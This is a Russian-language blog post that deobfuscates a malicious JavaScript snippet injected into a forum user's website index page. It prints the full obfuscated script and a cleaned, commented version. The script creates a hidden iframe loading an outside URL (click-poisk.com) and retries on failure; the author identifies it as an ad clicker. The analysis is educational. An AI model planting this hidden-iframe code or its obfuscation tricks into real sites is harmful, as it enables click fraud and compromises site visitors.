Home > javascript, вирус, кликер, обфускация, Программирование > Распутывание злого кода

Распутывание злого кода

Добрый день!
Подскажите, недавно в мой index был дописан код

function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';
return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.
iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF=""; wS=9383;
 
...(и много-много этого злокода)...

как так получилось, если от ftp пароли нигде не сохраняю, а других акков нету.
И, если сильны в java, подскажите, что делается то в коде?))

Вот что я недавно нашел на одном форуме. Любопытно узнать, что же действиетльно делается в коде…

1. Форматирование кода

Естественно, сперва необходимо отформатировать код, чтобы начать его читать. Вставляю эту кашу в Notepad++ и через 10 минут работы энтером и табом вижу вот что (приготовьтесь долго скролить):

function zG(){};
tF=53186;
 
zG.prototype =
{
	fK : function()
	{
		e="e";
		this.fQ='';
		return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');
		var oN=new Date();
		this.nU="";
	},
	v : function()
	{
		dF="";
		wS=9383;
		nB="nB";
		var t=new Date();
		var h='';
		var m=new Date();
		String.prototype.iH=function(d, o){return this.replace(d, o)};
		var r=new Date();
		tR="tR";
		kQ=false;
		gG=20573;
		wJ=false;
		zW="";
		var c=function(){};
		var y=window;
		gN="gN";
		this.yQ="yQ";
		var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
		var eK=new Date();
		var hI="hI";
		function jL(){};
		var z = this;
		var rN='';
		var p=false;
		var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";
		function mT(){};
		xH="";
		this.u=false;
		var f=document;
		this.dX="dX";
		this.hB="hB";
		var jA=false;
 
		var k =
		{
			vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''),
			oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),
			kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''),
			fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''),
			w : 's;rLcL'.iH(/[L;\{\(5]/g, ''),
			xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '')
		};
 
		var rK='';
		function hV(){};
		var uI=function(){return 'uI'};
		this.gC='';
		var rP="";
		var tZ=function(){return 'tZ'};
		this.a="a";
		var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));
		var kL=new Date();
		i=39073;
		this.fU="fU";
		jO=false;
		pW='';
		var eY=5116;
 
		try
		{
			rD="rD";
			vC=false;
			var fI=function(){};
			var rU="rU";
			this.q="q";
			b="";
			var bJ='';
			nE(n,k.oU, yR("display%3A%20none"));
			function dS(){};
			rG=63044;
			this.uK=false;
			this.iB="iB";
			nE(n,k.w, this.fK());
			eU="eU";
			this.pS='';
			this.fR="";
			var qA='';
			qE="qE";
			qL="";
			f[k.xK][k.vM](n);
			this.xL=54456;
			this.hW="";
			var bK=new Array();
			this.iR="";
		}
		catch(g)
		{
			this.vB="";
			tN='';
			var eJ='';
			var uD=new Array();
			var rV=new Date();
			var l=function(){};
			this.lK='';
			f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));
			this.hK=49925;
			var iL=new Array();
			hKH='';
			this.uJ=61972;
			this.cO="cO";
			var s="s";
			this.mG=53808;
 
			y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')]
			(
				function()
				{
					this.cJ="cJ";
					this.uR="";
					var pO='';
					vH=58151;
					this.dSF='';
					var sV="sV";
					z.v();
					var wH=34896;
					var cM=new Date();
					var yK=new Array();
					var eYV=function(){};
					this.kU="kU";
					zT="";
				},
				368
			);
 
			zJ="";
			var dXZ="dXZ";
		}
 
		qZ=19279;
		this.vBG='';
		var nM=new Date();
		var tZZ=false;
		var eE=new Date();
		var hC=new Date();
		function vO(){};
		var wZ="";
 
		function nE(n, j, dB)
		{
			this.bW='';
			var fT=new Array();
			n[k.fV](j,dB);
			var iRP=function(){return 'iRP'};
			tD="";
			var kI=new Array();
		}
 
		this.xX='';
		this.fX='';
		var tQ=false;
		dV=false;
	}
};
 
var uY=new Array();
var cP=new zG();
this.dK="dK";
cP.v();
function gQ(){};

Очевидно, что в коде много мусора. Я немного растерялся, не зная, как приступить к его чистке. Но тут взгляд упал на строку:

var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];

Я увидел здесь слово unescape! Словно как на трехмерной картинке :) Стало ясно, что делать дальше.

2. Чистка строк

Нахожу функцию чистки строки:

String.prototype.iH=function(d, o){return this.replace(d, o)};

Таким образом, запись:

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '');

означает, что из строки нужно выкинуть символы «Yj9\$\{».

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '') === 'unescape'

И второй способ засорения строк, попроще:

window.unescape("xxK%3C%2Fbody%3E%3C%2Fhtml%3E") === "xxK</body></html>";

Пробегаю по всем строковым константам и привожу их в порядок…

3. Удаление неиспользуемых функций и переменных

Код оказалось легко уменьшить в 4 раза, удалив строки такого вида:

tF=53186;
gN="gN";
this.fQ='';
var oN=new Date();
kQ=false;
var c=function(){};

4. Устранение запутывающих переменных

Следующим шагом было распутывание конструкций такого вида:

var n=f[k.kC]('iframe');

Благодаря нехитрой таблице преобразований

y=window
yR=y['unescape']
z = this
oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"
f=document
k = {vM:'appendChild', oU:'style', kC:'createElement', fV:'setAttribute', w:'src', xK:'body'}

они превращались во вполне читаемый код:

var n = document['createElement']('iframe');

5. Устранение запутывающих функций

Оставалось избавиться от пары функции:

fK : function()
{
	return 'http://click-poisk.com/there/in.cgi?7';
}
 
function nE(n, j, dB)
{
	n['setAttribute'](j,dB);
}

И можно читать код зловредного скрипта.

6. «что делается-то в коде»

Я прокомментировал каждую строчку:

// констркутор класса zG
function zG(){};
 
// класс zG, состоящий из единственной функции v()
zG.prototype =
{
	v : function()
	{
		// создание iframe
		var n = document['createElement']('iframe');
 
		try
		{
			// iframe делается невидимым
			n['setAttribute']('style', 'display: none');
			// загружаемая iframe страница
			n['setAttribute']('src', 'http://click-poisk.com/there/in.cgi?7');
			// подключение созданного iframe к документу
			dokument['body']['appendChild'](n);
		}
		catch(g)
		{
			// если что-то пошло не так, в документ добавляется какая-то хрень
			document['write']('xxK</body></html>');
			// и менее, чем через полсекунды, попытка повторяется
			window['setTimeout'](function(){this.v();}, 368);
		}
	}
};
 
// сооздание объекта и вызов его злой функции
var cP=new zG();
cP.v();

Это кликер. Я, признаюсь, ожидал чего-то более интересного, но сам процесс распутывания кода был весьма увлекателен.

Кликер – это программа, имитирующая «клики» мышкой по баннерам и прочей рекламе, разновидность Интернет-ботов.

  1. No comments yet.
  1. No trackbacks yet.